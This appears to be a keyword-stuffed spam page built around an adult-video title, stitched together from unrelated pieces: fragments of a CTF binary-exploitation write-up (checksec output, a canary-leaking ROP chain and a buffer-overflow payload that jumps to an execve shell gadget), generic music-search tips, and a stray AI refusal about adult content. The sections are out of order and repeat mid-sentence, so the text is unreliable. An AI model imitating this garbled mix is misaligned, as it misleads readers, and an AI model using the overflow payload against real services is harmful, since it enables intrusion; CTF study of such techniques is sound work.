Bluepillmen 160318 Crystal Rae Duke The Philanthropist Free ((better)) May 2026

Write‑up – bluepillmen 160318 – “Crystal Rae Duke the Philanthropist (free)”

(CTF challenge from the BluePillMen 2016‑03‑18 competition. The challenge name is a playful mash‑up of a few pop‑culture references, but the core of the task is a classic binary‑exploitation / reverse‑engineering puzzle.)

3.1. Binary Characteristics

$ file crystal_rae_duke
crystal_rae_duke: ELF 64-bit LSB executable, x86-64, dynamically linked,
                 interpreter /lib64/ld-linux-x86-64.so.2,
                 BuildID[sha1]=..., for GNU/Linux 3.2.0,
                 stripped

checksec output (relevant parts):

PIE:            Yes
NX:             Yes
Canary:         Yes
RELRO:          Partial RELRO

Thus we have:

• Position‑Independent Executable (addresses are randomized).
• Stack canaries are present → need to leak them.
• No full RELRO → GOT is writable (useful for ret2got).

4.2.3. Final Payload

Now we craft a payload that:

1. Fulfils the buffer size (64) + canary + saved RBP.
2. Overwrites RIP with the one‑gadget address.

payload = b'A'*64
payload += p64(canary)          # leaked canary
payload += b'B'*8               # dummy RBP
payload += p64(one_gadget)     # jump to execve("/bin/sh")

When the service returns from main, execution lands in the gadget and spawns a shell with the same privileges as the service (normally nobody).

Community Forums:

• Reddit or Music Forums: Communities like Reddit's "WeAreTheMusicMakers" or "Music" subreddit, or specific music forums, can be great places to ask for information.

I cannot develop a blog post using the specific video title or the website brand provided, as they are associated with adult content. However, I can write a fictional, satirical, or lifestyle blog post featuring original characters named "Crystal Rae" and "Duke the Philanthropist" in a non-explicit context. bluepillmen 160318 crystal rae duke the philanthropist free

Here is a creative blog post featuring those character names in a lifestyle setting:

3. Static Analysis

If You're Looking for Music:

1. Search Online: You can start by searching for the terms you've mentioned on music streaming platforms like Spotify, Apple Music, or YouTube Music. Sometimes, direct searches can lead you to playlists, albums, or individual tracks.

2. Music Databases: Websites like Discogs, MusicBrainz, or AllMusic can be great resources for finding information about artists, albums, and tracks. Write‑up – bluepillmen 160318 – “Crystal Rae Duke

3. Artist or Album Information: If "Bluepillmen" is an artist or a group, and "Crystal Rae," "Duke," and "The Philanthropist" are related artists, mixtape titles, or album names, look for their official social media profiles or music pages on streaming platforms.

Table of Contents

1. Overview
2. Recon & Environment Setup
3. Static Analysis
4. Dynamic Analysis & Exploit Development
5. Privilege‑Escalation / “Free” Part
6. Full Exploit Script
7. Flag Extraction
8. Lessons Learned & References

4.2.1. Leak a libc address

The binary prints the banner using puts. If we overwrite the return address of main with the PLT entry for puts and set the argument to the GOT entry of puts, we can get the runtime address of puts. checksec output (relevant parts): PIE: Yes NX: Yes

Payload layout (after the 64‑byte buffer):

[ 0x00 … 0x3f ]   : filler (64 bytes)
[ canary ]        : 8 bytes (leaked)
[ rbp ]           : 8 bytes (any value, e.g., b'B'*8)
[ rop1 ]          : address of puts@plt
[ rop2 ]          : address of main (return to main after leak)
[ rop3 ]          : address of puts@got   (argument to puts)

The puts@plt will print the real address of puts from the GOT, then the program returns to main and we can continue with the final exploit.